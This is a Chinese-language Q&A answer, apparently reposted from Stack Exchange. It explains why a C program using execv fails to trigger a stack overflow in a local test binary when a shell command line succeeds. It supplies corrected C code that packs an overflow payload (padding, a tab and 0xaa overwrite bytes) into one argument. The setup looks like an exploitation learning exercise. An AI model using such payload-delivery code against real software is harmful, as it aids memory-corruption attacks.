使用C语言execv构造栈溢出输入失败,命令行执行却正常的问题
问题原因与解决方案
核心差异:参数传递方式不同
你在命令行里用$(python...)的方式,是把Python输出的整段字符串作为单个参数传给myapp,也就是myapp的argv[1]是完整的"AAAAAAAAAA\tBB\xaa\xaa\xaa\xaa";但你的C程序里,是把"AAAAAAAAAA"作为argv[1],"BB\xaa\xaa\xaa\xaa"作为argv[2]——目标程序的栈溢出逻辑应该是处理argv[1]的输入,自然不会读取argv[2]的内容来覆盖栈,所以触发不了溢出。
修复后的C代码
把需要的payload拼接成单个参数,包含命令行里的制表符(\t),再传给execv:
#define DEST_PROG "./myapp" #include <string.h> #include <unistd.h> #include <stdlib.h> int main() { // 拼接完整payload:10个A + 制表符 + BB + 0xaaaaaaaa char* payload = malloc(10 + 1 + 2 + 4 + 1); // 预留字符串终止符空间 if (!payload) return 1; strcpy(payload, "AAAAAAAAAA"); strcat(payload, "\t"); strcat(payload, "BB"); memcpy(payload + 10 + 1 + 2, "\xaa\xaa\xaa\xaa", 4); payload[10+1+2+4] = '\0'; // 手动添加字符串终止符 char* argParam[3]; argParam[0] = DEST_PROG; argParam[1] = payload; argParam[2] = NULL; execv(DEST_PROG, argParam); free(payload); // execv执行成功的话不会走到这里 return 0; }
补充说明
- 命令行里的
$(...)会把命令输出的所有内容(包括制表符)合并成一个参数传递,而C程序里的execv是严格按数组元素分割参数的,不会自动拼接多个参数。 - 用
memcpy处理\xaa这类非打印字符更稳妥,避免strcat遇到意外的\0提前终止(不过这里\xaa不是终止符,用strcat也能行,但memcpy是更标准的二进制数据处理方式)。
内容的提问来源于stack exchange,提问作者Emz
相关产品推荐
相关产品推荐

